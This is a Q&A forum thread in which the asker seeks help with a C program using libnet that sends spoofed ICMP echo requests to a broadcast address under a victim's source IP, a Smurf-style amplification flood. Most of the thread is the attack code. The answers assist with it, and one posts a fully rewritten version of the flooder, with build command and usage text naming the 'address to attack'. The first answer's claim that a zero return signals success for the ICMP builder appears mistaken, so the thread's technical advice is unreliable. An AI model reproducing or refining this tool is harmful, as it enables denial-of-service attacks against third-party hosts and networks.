libnet error : success

433 Views Asked by At

i am trying to create a ping flood program which takes as argument the target ip address and the broadcast ip address. the program will send icmp echo packets to the broadcast address and with the victms ip address as the source. all the hosts on the networks who got the packet will return the answer to the victim.

the code looks like this:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>


void usage(char * pname)
{
    printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
    printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}

int main(int argc, char *argv[])
{
    if(argc != 3)
        usage(argv[0]);


    char errbuff[LIBNET_ERRBUF_SIZE];       
    libnet_t *l;                            
    uint16_t cmp_id;
    uint16_t ip_id; 
    for(int i=0; i<100; i++)
    {
    l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
    if(l==NULL)
    {
        fatal("in initializing the index of the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_seed_prand(l);
    cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

    if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
    {
        fatal("while trying to build icmpv4_echo packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
    {
        fatal("while trying to create ipv4 header...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_write(l) == -1)
    {
        fatal("while trying to write the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_destroy(l);
    }
    return 0;
}

and when i run it i get this output:

[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

i am using libnet library in order to create the packet and i have a feeling i have some kind of a mistake in the libnet_build_ipv4() function.

any help and suggestions ?

thanx.

2

There are 2 best solutions below

1
On

regarding:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

this is not correct, a 0 returned value indicates success.

the statement should be:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

Notice the change from == to !=

0
On

the following proposed code:

  1. cleanly compiles and links with: gcc -ggdb -Wall -Wextra -Wconversion -pedantic -std=gnu11 libnet-config --defines untitled2.c -o untitled2 libnet-config --libs
  2. is consistently formatted
  3. exits immediately after any error, However, you may need to add the statement: libnet_destroy( libObject ); at any exit point after the object is created.

Caveat has not been tested with actual URLs

And now the proposed code:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>


void usage(char * pname);


int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        usage(argv[0]);
        exit( EXIT_FAILURE );
    }

    char errbuff[LIBNET_ERRBUF_SIZE];
    uint16_t cmp_id;
    uint16_t ip_id;

    for( int i=0; i<100; i++ )
    {
        libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
        if( ! libObject )
        {
            fprintf( stderr, "%s\n",
                "in initializing the index of the packet...\nERROR: ");
            fprintf( stderr, "%s\n", libnet_geterror( libObject ));
        }

        libnet_seed_prand( libObject );
        cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

        if(libnet_build_icmpv4_echo(
            ICMP_ECHO,
            0,
            0,
            cmp_id,
            1,
            NULL,
            0,
            libObject,
            0) != 0)
        {
            fprintf( stderr, "%s\n",
                "while trying to build icmpv4_echo packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if( libnet_build_ipv4(
            LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
            0,
            ip_id,
            0,
            255,
            IPPROTO_ICMP,
            0,
            inet_addr(argv[1]),
            inet_addr(argv[2]),
            NULL,
            0,
            libObject,
            0) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to create ipv4 header...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if(libnet_write( libObject ) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to write the packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        libnet_destroy( libObject );
    }
    return 0;
}




void usage(char * pname)
{
    fprintf( stderr, "%s %s\n",
        pname,
        "sends fake icmp echo request to broadcast address "
        "in order to ping flood a device");
    fprintf( stderr, "USAGE: %s %s\n",
        pname,
        "[ipv4 address to attack] [ipv4 broadcast address]");
}

a run of the code, with no parameters results in:

./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]